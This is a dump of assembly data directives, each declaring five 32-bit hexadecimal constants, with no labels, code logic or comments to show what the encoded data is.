dd 54F2F432h, 741C7130h, 0B442F9DAh, 0FB94A9B5h, 23E7078h
dd 2FFEE700h, 8D2D99C1h, 8F975B8Ch, 0C30D8888h, 0F09F01FEh
dd 16F15629h, 63205D04h, 0B68498ABh, 14D04E0h, 0F6EDA918h
dd 0CFB2BF0Bh, 0E2381842h, 9BEB300Eh, 11BDB500h, 9166ABCBh
dd 871704E8h, 0E8204FA6h, 0DBDCC20Ch, 9F0849BDh, 0E8409429h
dd 0BE4988E4h, 84F34E38h, 0AB8EAC78h, 421E1890h, 3A94277Dh
dd 8674D882h, 8A047E00h, 0D90A0343h, 87E7F1A0h, 0B45CB4A2h
dd 8BBBD042h, 8101D34h, 0F64E305h, 0EC264CCCh, 0E04F6066h
dd 0BE2FBDFEh, 0EE6DF901h, 0BB9515A0h, 1062985h, 0A2B0B043h
dd 38A199C5h, 44293C8Ch, 14487B1Fh, 3D3B2224h, 76A62E4Ch
dd 3929194h, 0FAA0C0C6h, 0E97F80Ah, 4EC00B4h, 0E22AF8F1h
dd 2B496563h, 594A07B4h, 0B0B4F96Dh, 2E00D0ECh, 1AD90842h
dd 0F72C016Eh, 0F080B0E1h, 315D17E9h, 641495E7h, 0B8FBA40Eh
dd 6C7B80EBh, 7C628421h, 0E870051Dh, 0A2979241h, 35DB085Ch
dd 0A711024Bh, 590BA4E2h, 180C79C4h, 888F007Dh, 139B367Eh
dd 7917BE71h, 40F406EAh, 4342327Dh, 0EC7B13B1h, 6E3B4001h
dd 583A9A96h, 0AA7E2958h, 0EA2AFB04h, 0D4A82F18h, 6380E588h
dd 2143D59Eh, 8404B688h, 0B5EFFBEh, 3278E1F1h, 0EE41E051h
dd 5FDE3980h, 0F1F48AD0h, 0C9972000h, 90087AD7h, 576E3CD8h
dd 0AE81AD8Bh, 0AC8468F1h, 0B8B03B2Eh, 0A0849721h, 5CF216E4h
dd 0FCCF6304h, 1084B8DBh, 7C4CE777h, 388C0CE8h, 4F007A2Ah
dd 5C809B73h, 0C74986AAh, 0D86613ACh, 3D2724B8h, 61DD1460h
dd 247A9E58h, 6310B81Fh, 1C704D27h, 71DE2CA1h, 0ECCC3E34h
dd 486C761Ah, 0F983001Eh, 0A4E03B6Fh, 0B4BC9DDBh, 0E8CD709h
dd 4F15A814h, 9A00ABA8h, 3B789230h, 7CE52953h, 0CF960594h
dd 20540279h, 18566418h, 0BEB05D84h, 0F9615E4Fh, 2BE1F6EAh
dd 0E985841Dh, 0A8404B8Ah, 23C36877h, 2E48C80Eh, 0B882B410h
dd 420105B2h, 0A4685F21h, 4030FEEDh, 4E98096Ch, 0EC0137EEh
dd 0E209EA17h, 7EE59611h, 97A80405h, 1174A89Ch, 344EE69Ah
dd 0E7D40420h, 74500675h, 59E019B1h, 22CC870h, 870B2095h
dd 88A4E17Ah, 7884355Ah, 45B88CF9h, 8A9F0B08h, 414204E7h
dd 0A8C885Fh, 0F020B542h, 0CE30F20h, 797A7E77h, 0D7500980h
dd 7D133AC8h, 0ECC84FD3h, 6278BCADh, 4F00410Dh, 7F51AAh
dd 0A44C80B0h, 657C8DE0h, 0A804975Eh, 0A50223F7h, 2C741E98h
dd 59E9A90Bh, 188F7970h, 177D3982h, 52B76D05h, 0BC84BC22h
dd 0B80E8C5Bh, 8BB2EB92h, 7044D3A1h, 9715085Eh, 12B4F74Ah
dd 0B409D77Eh, 0C4D0C5D0h, 0E9A4605Bh, 838124F5h, 0FE608D4h
dd 38EAA04h, 0FC01A0F1h, 103C9EBFh, 6B28E14Fh, 0E5BE7C21h
dd 9D6B5E00h, 0AC3C3441h, 8C76BCh, 0D41160C8h, 0E86BCB0Eh
dd 7869732Ch, 0E62254A8h, 0BA63165Bh, 50490B58h, 3A4D5402h
dd 0D484B45Eh, 34C04379h, 0E3602Dh, 0B029FDCFh, 1F2A492Eh
dd 3F67EB01h, 0CCF8BF11h, 0F6685C40h, 0ABE101F4h, 0B39EE456h
dd 4CAC336Ch, 0D6F001D4h, 0B4F32165h, 0A858942Bh, 594076C8h
dd 8C73525Ch, 47AF1103h, 0E8E1EA9Dh, 0F0108492h, 9F4FECA5h
dd 0ECE97604h, 835CC1D0h, 0F1862F45h, 59EA0ABFh, 136D8B18h
dd 4865B318h, 0B2DFC5Bh, 63800CB5h, 0CE0A64DAh, 0D0F1267Bh
dd 52475E58h, 0BD02563Eh, 42817B94h, 5F448854h, 30EFC34Eh
dd 2284B960h, 7F418B5Eh, 0FA2D2C7Ch, 39DB6448h, 283F1F41h
dd 1A44F8E4h, 0B438F957h
dd 0F1B08A1h, 0C2C01A88h, 0FE4AE2A6h, 302F00BAh, 0CB4E931Bh
dd 2E12A264h, 34A8869Fh, 5C0FE8C8h, 17111E91h, 29DC1A05h
dd 45600433h, 180C21A9h, 9C17A1A5h, 42891191h, 0B408E48Fh
dd 0D0B21512h, 1AA5D400h, 8EA903FDh, 165C6D1Ch, 9E5B5540h
dd 0A83B48h, 8DBB9496h, 83117010h, 0D8F0035Ah, 0AED3205Eh
dd 5BFE6E48h, 330F8480h, 3B424FA6h, 5C239Ch, 0E08BFB23h
dd 0CB0B99D7h, 79AE1E5Eh, 0C2C58B98h, 0FFF8B003h, 9B864A80h
dd 0C85F64BAh, 2F71C420h, 3D700ACh, 823EDC2Ch, 0FC1E79CAh
dd 3D8296EFh, 554FC0D5h, 7EC8CC20h, 51028B11h, 23551FBDh
dd 0E010D5DAh, 24580B9Ah, 20445B00h, 0A400FE5h, 6B3AB5B9h
dd 71EF0303h, 0EF202D3Dh, 424ADCB0h, 9F84123Fh, 0DD20215Fh
dd 5C6B3EBCh, 793BA700h, 0F556D0B6h, 0CA0F417Fh, 0F40B210Fh
dd 2CA35AC8h, 0D9D81201h, 6AB87219h, 0BC78F4CDh, 398C57BCh
dd 7CF4DDh, 2BAEDB1Dh, 57010531h, 49791261h, 8F30847Dh
dd 901895FFh, 61207C02h, 3A664E4Bh, 0E2437024h, 0FB018505h
dd 8820AF2Dh, 0FE835AD7h, 57C500BBh, 5C5144B9h, 0C116C7CFh
dd 24E071E0h, 0B3B801Dh, 0D06DE802h, 0F64F9622h, 84242F84h
dd 25CE6014h, 0BDAC2141h, 25C7E0C0h, 0DCE109F3h, 0C5E610Ah
dd 19519118h, 0F80997B7h, 0C63F201Dh, 7700043Fh, 35360CB0h
dd 0A904201Fh, 0EF93949h, 1DF8D8A8h, 72BF008Ch, 0A8BD4F65h
dd 48966726h, 33A34007h, 44B19382h, 0FBF10E0h, 459A015Fh
dd 34DC996Ah, 6D215031h, 5444D86Eh, 9000A570h, 0EFD3B610h
dd 434748Eh, 6DDD61B2h, 0BC80FD17h, 0EF690271h, 0AB096FD4h
dd 5879286Ah, 0F8191079h, 66321841h, 0F2E86177h, 7BD7004Ch
dd 3EB8FD54h, 380508B4h, 8BE263CCh, 0EA0441BEh, 303031AFh
dd 0D9041F3Dh, 23D865CDh, 222100C1h, 0B868ED05h, 0F5A0075h
dd 0A9BD6D2Ch, 119F7A45h, 2C3C51FCh, 3B19B78Ch, 1B587BFAh
dd 0C13D3050h, 4A5F5EACh, 20949177h, 84022FD7h, 57A8B86h
dd 0A041AA0Ch, 40A9063h, 0A604882Fh, 0B649D3Ah, 0FAC71CAAh
dd 0E100228h, 60C47033h, 43EDA4C0h, 9C241880h, 0A9574218h
dd 50955002h, 707CBB84h, 9712266Eh, 0E8F836A3h, 4AEF2EC3h
dd 0DDC5600Bh, 0E50E8280h, 0F15CD97Fh, 249181Fh, 1BC16C51h
dd 0E480F73Ah, 58641821h, 6A2A09FDh, 92A700D8h, 0A2D277A9h
dd 79611326h, 58B280h, 3C4837A4h, 2C71D1h, 0E3A2B894h
dd 0BC4419Bh, 7B5E5A05h, 9BEED5Dh, 0D47AEFB4h, 8054B5BDh
dd 61A3A5Ch, 1404DC8Ah, 826F96Eh, 0EC941605h, 0E980C790h
dd 9F4E8A9h, 0D8608A07h, 970A3161h, 0C045D32Eh, 423248A8h
dd 0F2504104h, 39920294h, 8E64FE7Ah, 16895840h, 1458962Bh
dd 37CB2900h, 7DB9D3F7h, 7521C042h, 6870DCD9h, 5C04B612h
dd 2D05B4C8h, 0B4E072AFh, 8492F994h, 48C3A544h, 0CC80F0E5h
dd 0D9265882h, 0AFAEED01h, 34EB7732h, 0F29239C4h, 5CDB0066h
dd 0C75ABE87h, 0D625B0A5h, 18D4AC56h, 0C597054Fh, 0EEB6F4A3h
dd 105A6C08h, 0E0A62FD0h, 5B23A3E4h, 5400E0BDh, 227898D1h
dd 54179F80h, 0F8805B91h, 3850811Ah, 6EF96F13h, 6116F0C1h
dd 0B4581469h, 172710h, 0E09F5D0Fh, 4F317275h, 3940089Dh
dd 0CC59A5h, 434EB2C9h, 4B07AC45h, 1796AADAh, 24188838h
dd 762CD480h, 120D8AFEh, 82CFE51Eh, 88C50B8Ch, 80651AE4h
dd 0F80D7772h, 1E02BBE8h, 7BAA450Bh, 2CCCD681h, 8F2300D4h
dd 0B796A924h, 26379940h, 83483D7h, 0E5083245h, 0C23C8313h
dd 1A015CFh, 0A700D2DEh, 0BF90BC37h, 939FA2Dh, 7AC32EA2h
dd 16A0A848h, 0BD6C1888h, 0E274D066h, 954FC980h, 81463820h
dd 3F00134Dh, 2383F45Ch, 1CBE69Dh, 7C86EA47h, 7A022B71h
dd 9042100Bh, 1CBEA184h, 18A076h, 0EC8255C1h, 0A20052B1h
dd 8E427C11h, 0B4A69DDh, 50EE86D2h, 0CB3914D9h, 3E6840C0h
dd 0E6B500DCh, 0BA6DC4D3h, 8F95AA14h, 541A2970h, 3E1C0078h
dd 0F9707524h, 0EC0D662Eh, 0B219E353h, 0B42BFDFEh, 459EB4F1h
dd 38C463C4h, 0A59DD00h, 3F2F1480h, 249C6842h, 28C37DE0h
dd 70CC92D6h, 0FC9E03DDh, 0E8AF886Fh, 6EA09EDFh, 241FBA02h
dd 5ECCBD48h, 6A2BA8CDh, 0F5DC146Ch, 86A90B81h, 682020CFh
dd 0B581BBBh, 0BCDD8815h, 0D713059h, 9C006C18h, 0D7EC35A9h
dd 0EB0A78Dh, 0DD2ADA33h, 5C2165A1h, 0C226AD8h, 0F454294Dh
dd 0E8095D10h, 54293173h, 7B11649Dh, 51A6380h, 143C875Dh
dd 82D85DA1h, 0F08F86AAh, 39DED8A0h, 0FC0EE6C8h, 60A4C66Bh
dd 7B0F6D6Eh, 59970135h, 0A2988277h, 0C822EF1h, 44BCE42Eh
dd 0DC04FFE4h, 669AEFE7h, 0C06028BFh, 0CEA88586h, 2760E208h
dd 0C78A63h, 1B952014h, 59AF4DCEh, 34804090h, 0EB5F01E8h
dd 1ABDAC81h, 803061A9h, 0DF2F9E0Dh, 21002C6Ah, 0ACC2FBB8h
dd 0B561B7Dh, 5DDD43D7h, 16B6E048h, 8B087091h, 5893E63h
dd 0DCC0D697h, 0AC9439D3h, 42184F25h, 0FC7949BEh, 4018D8AFh
dd 1554425Bh, 0AC88C248h, 7AEB208Eh, 0E44F1A28h, 21809B73h
dd 4FA67EE3h, 0F22C2108h, 5C160118h, 6ED0407Bh, 9F8EAAB6h
dd 0B4E7AC4Bh, 6C19E809h, 8DE03410h, 0C3CF6900h, 2ED63170h
dd 6CE0B752h, 6B0097EAh, 0D54BA598h, 0D2FABED7h, 0F2D0F2B9h
dd 63443007h, 4E01B4Bh, 0C55F4127h, 970009Bh, 40134BC3h
dd 0D31BC4E8h, 3F86FDDh, 0BFF0829Dh, 1585151h, 672EAAE4h
dd 0D83B6E47h, 5B075523h, 95F2013Dh, 44F4C654h, 9B039E14h
dd 34AF578Bh, 4349A015h, 897B02A6h, 2A3D8CF1h, 4F116C5Ch
dd 98281602h, 84560AE5h, 1210467Ch, 1860665Dh, 5B6A9863h
dd 0B21475E4h, 3075F268h, 8F01F4F1h, 0D5956A42h, 402A507Ah
dd 0FFED69ACh, 0B300F66Dh, 0C50AB5C9h, 2CD8B1A6h, 0BE487A90h
dd 0A7111407h, 6B914C3Ch, 60A0F74Bh, 0B4B80018h, 584A5C65h
dd 55075FF2h, 0F045A121h, 6E381C12h, 2F5C3918h, 0C5296B17h
dd 9050A28Ch, 5B8A22CCh, 0C546D66h, 409FFF1Ch, 81D8ABE0h
dd 20F0DD24h, 0A940629Ch, 92B4131Bh, 6C4888AAh, 4C5E0909h
dd 40402C44h, 9E38AC07h, 19C4A0F4h, 18F6E0BFh, 0A4086E53h
dd 0F0013F2Ah, 0EB296DB7h, 96C43410h, 0A4297CA2h, 1769D082h
dd 0BCEC5D05h, 0B7A99685h, 50204A90h, 78E2DD63h, 8420A5EBh
dd 42E4A2CFh, 0F168D73h, 0E86AB785h, 22A405B0h, 0A810289Eh
dd 90EACA70h, 192F7020h, 478840CFh, 0E4B0B480h, 0BD68AC62h
dd 0FC0CE2C1h, 49BB9501h, 0EB389A0Fh, 5DD361E0h, 161854A5h
dd 5C0FE924h, 0AA399C00h, 0D34F173Dh, 616D18C0h, 21EBC02Dh
dd 0E0A1D918h, 7BD5B430h, 3C21C030h, 6353B305h, 89E0510Fh
dd 0D5F083A9h, 0D19EA0CAh, 0A820BF2Dh, 0F47E634Eh, 65E3AC1Eh
dd 20D8B20Eh, 0EE382B15h, 24ED48A2h, 9D6D5100h, 3519CCC6h
dd 0FE5B6C12h, 0AB10BCBCh, 0D06E005Dh, 0F24F5AA8h, 0E2144FDEh
dd 412BAD0h, 0B130B05Fh, 0D25408C4h, 69F61CC7h, 49FE2410h
dd 8F9E0C60h, 7A62C710h, 3CAF908h, 2019132Bh, 0EE0814B9h
dd 0B3342988h, 181E760Ch, 398240CAh, 0E060EC63h, 0E8181017h
dd 2161189Ah, 0C61C4C10h, 18A90508h, 31455020h, 0F310CE80h
dd 0D108889Fh, 59AB18B8h, 28C61583h, 31081154h, 4F186341h
dd 1A47013Bh, 1B95B01h, 888CC53h, 2C0C545Fh, 0C4BB98EFh
dd 9472B9D9h, 838846D4h, 39C42997h, 370C6813h, 0A8400E59h
dd 0F98A8E4h, 0CF08CC3Ah
dd 62636911h, 205E4220h, 0F46F58C1h, 0FA41D861h, 4D08C673h
dd 0B16318DBh, 1819BE41h, 20ABD608h, 8C6B71Ah, 3128EA04h
dd 0B4107BCAh, 82088C8Dh, 0C4C7302Ah, 66A9779h, 3118441Eh
dd 68084CB8h, 641895AEh, 98FE10A8h, 58ED8C1Bh, 3E058692h
dd 2996CC46h, 0A54D3108h, 88DFCB18h, 159EAF28h, 7110F005h
dd 5BBC1018h, 8BA0118h, 18CA4055h, 798C8044h, 40E2088Ah
dd 8040CCA2h, 28E56306h, 21209A71h, 5CFF20C1h, 8BE1633h
dd 51E918D3h, 0C54A78E8h, 0E02118CAh, 704AAA92h, 9C88EC84h
dd 52F60C8Bh, 0E4D98808h, 4E0171D0h, 9E088C85h, 62875810h
dd 1BFA0828h, 23F1A02h, 4A0225C8h, 50C0C9A0h, 774C0888h
dd 70118618h, 2584AA4Bh, 0D84A4980h, 868CF4CEh, 408008C8h
dd 79407AC3h, 56A740CEh, 66F26340h, 31EB38EEh, 88706022h
dd 0C43692F0h, 6BF2268h, 20103DEBh, 0DC365EE7h, 6229096Eh
dd 1D473954h, 3556502h, 82481E5h, 0E899A490h, 0F051B719h
dd 18884AACh, 0D20898A2h, 2E9D087Bh, 544E1F12h, 2B08B988h
dd 74E3518Ah, 0EAD1B1F0h, 7F7190BBh, 9544C524h, 9E198C62h
dd 51344038h, 9530E8E4h, 26907010h, 9882049h, 8A236AFh
dd 209F7520h, 0DF4DB361h, 0C0713C4Ch, 0C390A9EBh, 0B645F988h
dd 0F1D19918h, 63B4A2D6h, 0CC1076FEh, 0DB5180B1h, 13400F40h
dd 204AED99h, 0F8A437A4h, 0F862FE26h, 50A39F81h, 10BE5B56h
dd 66481F05h, 62F780E5h, 0BC2CB4A1h, 3C867C30h, 1845DE3h
dd 222A45A2h, 2BA8EFB3h, 17AA64A0h, 0BCF0E54Fh, 701E934Ch
dd 0A92A1403h, 86DFE8B0h, 0CE5971E5h, 56402C50h, 14B5300Bh
dd 9A8E050Bh, 185C5A24h, 28DD5CE5h, 0FE6155A4h, 17FB50C1h
dd 401074h, 419C39B5h, 0DCAC0EE8h, 0AA634375h, 0E2A46E28h
dd 3C0852C1h, 62047C70h, 0F8C9E548h, 0FDAE0C04h, 0F834491Eh
dd 75181E0Dh, 851953D4h, 1AA4B810h, 10085DD1h, 34E51644h
dd 1A095A9h, 0B50CE984h, 0D51082A4h, 0FF8C4263h, 41A218A0h
dd 2732E5FEh, 77BB2054h, 7AC978A0h, 0B000F20Ch, 0D70DB1D0h
dd 0E44C506Fh, 92E5251Ah, 32D53882h, 7009845Ah, 63DC9Eh
dd 2057A4A3h, 765B024Fh, 3FA2CA10h, 0DF1F0880h, 6D09B52Fh
dd 0E97741ACh, 2FF6C0h, 7A087C44h, 0A53E31C0h, 0F792F72h
dd 0C4D5A328h, 8CF00891h, 90142BD1h, 0B5AA07B0h, 15406A1Eh
dd 308C4D1Fh, 0CA20BA57h, 0A229BD6Fh, 680B905Ah, 0AE1CC8E5h
dd 50E798DDh, 21B8ACh, 0A4EFB502h, 9A1D0AA7h, 4CAA4E02h
dd 0A74BB9E5h, 704057F8h, 68E7E304h, 108D8D2h, 9A41946Dh
dd 1114233Eh, 777B24A5h, 0D234022Bh, 56A2D90Fh, 554F0881h
dd 0CD30A057h, 0A820F930h, 39CFE7Dh, 0B4582BD4h, 0FEAF0198h
dd 0B80AD280h, 4F18CBD0h, 5D386F3Eh, 99A7874h, 0F0C1DE4Ch
dd 0CC655C20h, 6728C91Fh, 0AC0078F4h, 8E681EA5h, 6331D9h
dd 204D32C7h, 0F010147Dh, 27BBC50Ah, 1A01D0D7h, 6328C50h
dd 0BC5C9095h, 669A210h, 221618D2h, 40242859h, 0B8C12F0h
dd 6504783h, 15F611ACh, 1483FA1Bh, 0DF901D4Eh, 591ED5C2h
dd 9D020E71h, 0E0681576h, 199D1ECh, 3763D45Dh, 24D26A05h
dd 0D1C0CFA4h, 0E9594B9Ah, 0A5AF00F0h, 0E1C4250h, 10481924h
dd 5C430A10h, 1E18C0B0h, 802A3DC0h, 0A949ACC1h, 41B40954h
dd 0D1DC182Eh, 90C98EBh, 16B527DFh, 1702B8DEh, 80A176E5h
dd 9AAAC8E0h, 908748DDh, 57064283h, 3A1B4000h, 3DEF9A7h
dd 0F8C2F92Ah, 0D3C50038h, 0E5D6B51Fh, 393CEE55h, 9A269ED7h
dd 480B320Dh, 906B2CE0h, 67BE00DEh, 0BAC31A9Eh, 0FB07A489h
dd 0DF1C9B04h, 0DC0BE6C0h, 8AFE0C86h, 0B0D1AA11h, 0E989401h
dd 61A0E51Bh, 4445A880h, 3CA536C4h, 538C1E05h, 0A3009B19h
dd 7DA89821h, 482C9877h, 0C4811018h, 1B0E94Fh, 24208C5Dh
dd 680C04C7h, 803241FFh, 0B529AD90h, 3C70F548h, 1004485Ch
dd 0E20386C2h, 5214E528h, 0C0328024h, 3021AD0Dh, 6DCDEC41h
dd 469A0889h, 28058C10h, 4CCB548h, 970D43D0h, 74F46306h
dd 294DF4Dh, 0E878B350h, 14104139h, 1706D30h, 22D524FBh
dd 277C6D47h, 0AC5300B8h, 8AB86FE4h, 94145422h, 0FC9A55A5h
dd 1FC5C080h, 0E767FE68h, 0AD008890h, 597171Eh, 2A45E31h
dd 3EEBB150h, 2840E7EEh, 351E7CC0h, 0E506D90Ah, 24E88928h
dd 30D096h, 1AAC8ABDh, 0D32043C7h, 0F0E8086Dh, 384A3DA2h
dd 0EF80CB80h, 6518749h, 0DE425F05h, 0CFA2089h, 8C2A55h
dd 0E89B4FCCh, 62F24890h, 0B8F61532h, 20C042AAh, 0B98C44C8h
dd 0C060C1C2h, 80340ACAh, 13B51041h, 0B17CBDE5h, 6DCB4150h
dd 39345243h, 1E06347Ch, 77782007h, 0DD20C017h, 32120D8Eh
dd 31422909h, 0EFB00E27h, 3F28A1B6h, 4C24CA46h, 91C304DBh
dd 83EB246Ah, 1105DC60h, 9B71C2C7h, 4E32BC30h, 52B727Bh
dd 578AC6F0h, 56D05F78h, 42843047h, 4B0E4FAh, 0A1C76700h
dd 0D87966Eh, 2C194D37h, 0BBACEE00h, 1CD4FF9Fh, 2C489A1Fh
dd 0E503E0C1h, 0F8815BBEh, 0A9E917DDh, 654FE454h, 49DF9540h
dd 4051F047h, 904C20h, 0A48B42B1h, 181E3154h, 2113D001h
dd 8034D1B0h, 25DC30h, 0E77CE491h, 4D9BC6EBh, 0ED4B2400h
dd 1868DD1Dh, 1A5924F2h, 4D48E570h, 26104AE4h, 0CCCD2480h
dd 8E5DDA09h, 7FA6A690h, 1E85ED8h, 3F4FD1ACh, 49ACA7h
dd 0A0016512h, 1DD05015h, 0A160D049h, 9A36000Ah, 162D282Bh
dd 0A04A87A3h, 435AD090h, 67B0E28Ch, 0E0021010h, 2817839Dh
dd 5A2DBD0Ch, 40F1204Fh, 7B00C607h, 0B506494Ch, 0EA537EDDh
dd 9A4B0102h, 40D4AE43h, 5860FEF3h, 0A37F6055h, 8AB9101Fh
dd 7740603Fh, 0C88E020h, 49014F46h, 90056A9h, 9BD7FAB7h
dd 622433h, 8C05289Fh, 0D8B80FCEh, 5D425B00h, 0FBB36116h
dd 12190023h, 3F509617h, 0B88B11h, 16CC60C5h, 28E5F088h
dd 24F458ADh, 213CFBACh, 43A201B0h, 550FDFFEh, 7D740AF4h
dd 5C5D40CCh, 1F204FCCh, 6C93B3h, 6C09C4CDh, 0EF264F8Dh
dd 0B1003C79h, 0A220BC4Ah, 0FF9A7748h, 983B19C0h, 0DE6017D0h
dd 7CA50C69h, 1B03D1A0h, 4974B3A9h, 0FFB4E138h, 5F87C457h
dd 19EC682h, 24D62A42h, 7001C970h, 8CB052B3h, 80041FF7h
dd 0BF079314h, 8A9DA10Ch, 0EA8EE0E1h, 22D72C7Ah, 74E301B4h
dd 20A46215h, 0E0509298h, 814EA9Ch, 3C8C8291h, 4B1BEA5h
dd 0F14F9889h, 6021EC92h, 588AF5h, 395B56A4h, 0FF4FB3ACh
dd 4117ACB6h, 7105E807h, 0C097B1E0h, 74961314h, 87F8F080h
dd 0BECAAB18h, 2C99A8h, 0EAF962C3h, 5010849Dh, 48A64530h
dd 0FC478AE0h, 9AE602EDh, 1C255E37h, 11D2E4C8h, 9E3A6815h
dd 0CDC58E0h, 10809BE5h, 16C940Fh, 0BA5066B4h, 37508999h
dd 0B37C8534h, 0BF7D808h, 1C2E1D42h, 62CC6136h, 81AC20FEh
dd 4FA9CE60h, 921340Bh, 5E0D6A1Fh, 5AC2403h, 3F401AC2h
dd 709814C1h, 0CB586E60h, 0FBA2BE6Fh, 66249C32h, 39420630h
dd 0ACB21168h, 50221400h, 0A47192FFh, 60ED03E7h, 0F265D44Ah
dd 0AC7F42E8h, 9CF06CB2h, 36316100h, 1072C90Fh, 0C45B134Ch
dd 0B0BC440Bh, 5CDA011Bh, 8CC44999h, 801C60D6h, 31D7411Ah
dd 578D259h, 2EC06FC9h, 4A947801h, 8C20AE8Ch, 84D9DC44h
dd 88289A82h, 0BC5C4D7Ch, 100BC65Ch, 0C83A50F0h, 5844985Ch
dd 0E50B14A2h, 1C2038F6h, 0FC472AFAh, 43506800h, 36E318F4h
dd 20F4ACh, 0CF59483Bh
dd 331BEECBh, 6B83900h, 422DC8E3h, 844F5965h, 43C6E50Bh
dd 5C528F89h, 30CAF0C2h, 570C0D1h, 404B838h, 9843DDBFh
dd 0CC680476h, 60F58A4h, 0E9E518CAh, 6395982Bh, 4858C3BCh
dd 4324A890h, 0A8AB0090h, 0A5663B70h, 68411E28h, 3DAFBA20h
dd 8705497Eh, 46ADECACh, 719A4084h, 0C79FEB00h, 70DBB4A8h
dd 34B8986Eh, 0C048AEC6h, 0B53005E4h, 0A487C01h, 8E9D0CD2h
dd 0F7005828h, 22E9D424h, 0CF244FE6h, 6080803Ah, 2EEB2767h
dd 82701818h, 80D018BEh, 8855422Ah, 8C9D1D00h, 0DDE5121Bh
dd 488092C8h, 8C58605Ch, 2796A210h, 2A87816h, 0F0960C9h
dd 34599C6Eh, 64009444h, 6B68E843h, 0ACCC009Fh, 3C1B1F0Dh
dd 828BB9A3h, 5C005334h, 0C7CF2261h, 249A5D00h, 107002FBh
dd 2A8733E5h, 0F6926648h, 5603AC4Eh, 92C2DEACh, 1A0FE841h
dd 424416EFh, 21F440E0h, 67F7AC3Ah, 4CE0CA52h, 1A45218h
dd 91D9BAE8h, 43D1AC0Eh, 0DC50C6h, 54A2BB32h, 6D83A89Fh
dd 8AB5E804h, 1017C1C2h, 0C8908C38h, 0AEE00793h, 6449490Bh
dd 62C06194h, 0DBF600E8h, 0E0A444B4h, 0FF8B10D0h, 106424CCh
dd 0DD173711h, 90E4A462h, 2420E64Eh, 0B82A2716h, 0BC9E40A4h
dd 48BB9304h, 0DCFCAA09h, 2430423Eh, 0ABC579C0h, 0B020490Ah
dd 402A5462h, 0C47F982Eh, 5EE90052h, 787AD8h, 0A5204424h
dd 0DC7CC78Ah, 5A9F3F00h, 681B769Dh, 0BEA914CAh, 0CF27F58Fh
dd 9CDEB400h, 0B200308Dh, 2832B6F3h, 4B645DFFh, 8CB430D1h
dd 0B0BAEC62h, 0C43C8D2Eh, 0EF6A4261h, 0F624060h, 26018EA3h
dd 1943D420h, 78992404h, 0B4009017h, 63CF70D9h, 37675FAh
dd 7E774184h, 0E4E3DCCEh, 902C50B6h, 211640DDh, 15A6F800h
dd 0D5F47Fh, 3EA2C131h, 61DCB479h, 3AD96700h, 24760AA9h
dd 421B0B41h, 0D80459A2h, 0E008F41Fh, 0D03C3749h, 0FA3D7DCCh
dd 6C855ECAh, 25D6C820h, 40C64C79h, 0CB133204h, 0DD478115h
dd 70E5E976h, 49F0E1A7h, 0C1E6A400h, 8098AAAh, 5BC602F2h
dd 0F7648744h, 0D48D0441h, 1C5C5CC7h, 0FA610F84h, 0DAE5A422h
dd 2BD28A0h, 49D11D2Ch, 0F0C025AAh, 0C781268Fh, 1CAC0E60h
dd 6F314F4Ah, 0C890F05Ah, 5DD13A09h, 0A0D0EC0Eh, 824AC9F8h
dd 0DC843C72h, 4F3C4C09h, 0A048C088h, 2310008Ch, 711820E8h
dd 28C0CDD9h, 6AC47F9Ch, 638B27A3h, 0CCD005h, 239BD9ECh
dd 0A203DD67h, 61A187F9h, 9E200485h, 0D0A414E9h, 6719E0F0h
dd 0E5795C61h, 2035AEF7h, 0A1DC60D6h, 0D10C727h, 72340761h
dd 6C440E5Ch, 5BB4E1Ch, 8C1C2397h, 0FFD8C882h, 1558E018h
dd 17217514h, 169E5B0h, 7123BA34h, 2EF1C468h, 0FF01D07Dh
dd 0D14F4322h, 5C2D1ADAh, 7EE51504h, 4FCCF20Fh, 0C0C48009h
dd 5FAB4FC8h, 8918817Fh, 8475D010h, 0B931A18h, 163C1840h
dd 424543DBh, 6DDD1BD4h, 14792442h, 0E9D909h, 87429928h
dd 35C90CEh, 4649897Ah, 0C8B0A504h, 4030E5ADh, 3EA43808h
dd 0D813055Fh, 81E6E7AAh, 24A5068h, 345CD06Ah, 0C11090EDh
dd 317F54h, 0E8C4EAA5h, 0E9D2046Ah, 805E641Ah, 22B48A74h
dd 2C6190C0h, 4CC28C35h, 1CDE4054h, 822C24F5h, 57A442AEh
dd 174F1C46h, 0E8EFB822h, 62B242A8h, 9F68C8FAh, 0A4282444h
dd 14B81C50h, 157BCD00h, 0A5B9FCA7h, 565C2458h, 1A50E14Ch
dd 0DDC840ECh, 0A6F8E68Ah, 7A42BA0Ch, 191360C5h, 0E0DB9668h
dd 81E1ED8Ch, 0E027EF38h, 0F8705B62h, 2422EBDh, 0DC1794CCh
dd 986AA786h, 878C5208h, 0C7E1FE4h, 2270D79Fh, 423A0478h
dd 1CEB93C4h, 44800074h, 95229DEh, 0F7AD7F86h, 6E0B9456h
dd 71843AA4h, 3502BE6Ch, 0F6E72B90h, 73671049h, 5DD5132Ch
dd 400DD403h, 0F6693CE2h, 0A4F04C79h, 30CE0700h, 4154A480h
dd 483EFD01h, 0C5D8B7E7h, 0E583282Ch, 4058903Ch, 0DC961360h
dd 0D072AC16h, 8CC499FEh, 2F754F01h, 20074404h, 1376F0B2h
dd 61D67F68h, 0D004AF0Ch, 4A308C40h, 3202480Ch, 0A16C04DDh
dd 0CBEDFC1Fh, 0D8E80130h, 0B29743C4h, 8C201094h, 8C138047h
dd 0C70C8082h, 3D022113h, 0ACB0BE9Fh, 483DC33Fh, 984C48E1h
dd 0CC08105Ah, 94245F21h, 833C8000h, 58775D18h, 704FCCEh
dd 87737F6Ah, 0DBA5905Ch, 1BFA5075h, 1FAD3580h, 395D61C5h
dd 6794562Ch, 0D7392025h, 0E353D2C6h, 0B39E10B0h, 3E64AA2Eh
dd 0ACA480E8h, 2016820Ch, 5542682Ah, 10869C2Bh, 0EB04511Dh
dd 0BB4AFBFFh, 2EE869C1h, 738DE3D0h, 890206DAh, 0F8DB2ACAh
dd 784F5008h, 0BA530490h, 13E8808Dh, 8C02455Ah, 0CA319516h
dd 4DE0C823h, 810F2E79h, 59EF8FB8h, 0D6337FC0h, 5D000ECEh
dd 0E697D26Bh, 0E867537Ch, 64260B51h, 0F80142FFh, 0C415819Dh
dd 5F002F22h, 0E4346F2Bh, 77AC391Ch, 34E84C4Eh, 5194E510h
dd 0A6E005A4h, 2DE860E4h, 26296109h, 87EC17E5h, 672763C7h
dd 48C0FB4Ch, 0DB487C42h, 0E2F72D4Ch, 78E812FCh, 6FC009CCh
dd 189AA2BFh, 0AE5C244Ch, 304424A8h, 0BF000C9h, 50036Fh
dd 43D82DD2h, 0DDADA6C7h, 1EB47058h, 4F46E458h, 88486C5Bh
